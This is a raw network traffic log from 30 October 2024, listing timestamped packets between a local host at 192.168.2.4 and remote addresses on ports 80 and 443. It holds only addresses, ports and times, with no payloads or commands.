Oct 30, 2024 06:16:35.158235073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158243895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158252954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158258915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158267975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158283949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158291101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158298016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158308029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158318043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158328056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158335924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158348083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158354044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158365965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158374071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158384085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158405066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158426046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.906560898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.906560898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.912058115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.912075996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:39.689682007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:39.689749002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:39.741220951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:39.746629000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:40.021733046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:40.021749020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:40.021756887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:40.021831989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:40.021877050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:40.024893045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:40.030145884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:40.306391001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:40.306442976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:40.320578098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:40.326793909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:41.095808029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:41.095877886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:41.122523069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:41.128073931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:41.403479099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:41.403752089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:41.405394077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:41.410726070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:42.181570053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:42.181651115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:44.749022961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:55.734639883 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:55.734697104 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:55.734766006 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:55.735116005 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:55.735135078 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.485044956 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.485145092 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.489119053 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.489129066 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.489373922 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.499217033 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.543333054 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.725306988 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.725331068 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.725343943 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.725384951 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.725413084 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.725426912 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.725459099 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.748079062 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.748094082 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.748142004 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.748152018 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.748188019 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.748188019 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.845257044 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.845272064 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.845338106 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.845347881 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.845390081 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.866755962 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.866769075 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.866835117 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.866844893 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.866885900 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.868479013 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.868493080 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.868546963 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.868555069 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.868592024 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.964098930 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.964149952 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.964282990 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.964318991 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.964431047 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.964885950 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.964901924 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.964971066 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.964979887 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.965020895 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.992743969 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.992760897 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.992927074 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.992937088 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.993057013 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.994040966 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.994055986 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.994167089 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.994174004 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.994283915 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.995007038 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.995021105 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.995126009 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.995134115 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.995213985 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.996429920 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.996444941 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.996556044 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.996563911 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.996659040 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.999012947 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.999028921 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.999133110 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:56.999140978 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:56.999227047 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.029196978 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.029223919 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.029370070 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.029380083 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.029467106 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.083327055 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.083400011 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.083406925 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.083472967 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.083580017 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.083595991 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.083610058 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.083615065 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.124197006 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.124296904 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.124396086 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.124819040 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.124861002 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.124919891 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.126461029 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.126502037 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.126576900 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.127326012 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.127334118 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.127394915 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.127962112 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.127973080 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.128036022 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.128731012 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.128747940 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.128839016 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.128856897 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.128928900 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.128963947 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.128993988 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.129003048 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.129168987 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.129182100 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.163580894 CET	49768	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:57.163614035 CET	443	49768	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:57.163686991 CET	49768	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:57.164000034 CET	49768	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:57.164014101 CET	443	49768	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:57.849203110 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.849802017 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.849878073 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.850296974 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.850315094 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.857326031 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.857682943 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.857722998 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.858103037 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.858107090 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.859174013 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.859489918 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.859563112 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.859889984 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.859904051 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.868381023 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.868725061 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.868761063 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.869317055 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.869328022 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.873748064 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.874063015 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.874111891 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.874427080 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.874439001 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.990478039 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.990530968 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.990621090 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.990906954 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.990955114 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.990981102 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.990991116 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.990994930 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.991002083 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.991008043 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.991013050 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.991090059 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.991102934 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.991105080 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.991105080 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.991154909 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.991223097 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.991223097 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.991247892 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.991277933 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.991386890 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.991398096 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.991406918 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.991411924 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.994806051 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.994834900 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.994909048 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.995049953 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.995053053 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.995060921 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.995089054 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.995151043 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.995218992 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.995234013 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.995253086 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.995260954 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.995371103 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.995512962 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.995521069 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.998471022 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.998564959 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.998617887 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.998651028 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.998670101 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:57.998686075 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:57.998692989 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.000442982 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.000468969 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.000533104 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.000729084 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.000742912 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.004256964 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.004318953 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.004390955 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.004404068 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.004447937 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.004462004 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.004498959 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.004508018 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.004519939 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.004519939 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.004527092 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.004533052 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.006236076 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.006282091 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.006354094 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.006481886 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.006500006 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.012665033 CET	443	49768	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:58.012746096 CET	49768	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:58.014286041 CET	49768	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:58.014303923 CET	443	49768	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:58.014638901 CET	443	49768	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:58.022716045 CET	49768	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:58.067329884 CET	443	49768	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:58.304126978 CET	443	49768	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:58.304195881 CET	443	49768	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:58.304240942 CET	443	49768	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:58.304316044 CET	49768	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:58.304354906 CET	443	49768	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:58.304372072 CET	49768	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:58.304409981 CET	49768	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:58.306154013 CET	443	49768	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:58.306224108 CET	443	49768	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:58.306257963 CET	49768	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:58.306267023 CET	443	49768	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:58.306287050 CET	49768	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:58.306384087 CET	443	49768	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:58.306438923 CET	49768	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:58.313605070 CET	49768	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:58.313664913 CET	443	49768	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:58.313747883 CET	49768	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:58.313781977 CET	443	49768	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:58.722870111 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.723480940 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.723500013 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.724004030 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.724009991 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.728864908 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.729135036 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.729157925 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.729470015 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.729476929 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.731120110 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.731364965 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.731386900 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.731698036 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.731702089 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.753546000 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.754021883 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.754053116 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.754431009 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.754436970 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.771857977 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.772141933 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.772150993 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.772478104 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.772483110 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.852276087 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.852546930 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.852646112 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.852735996 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.852756977 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.852776051 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.852781057 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.856463909 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.856517076 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.856631041 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.856851101 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.856869936 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.858011961 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.858098030 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.858155966 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.858280897 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.858293056 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.858309031 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.858314037 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.861242056 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.861284018 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.861355066 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.861490011 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.861499071 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.865302086 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.865446091 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.865498066 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.865525961 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.865537882 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.865550041 CET	49771	443	192.168.2.4	13.107.246.45
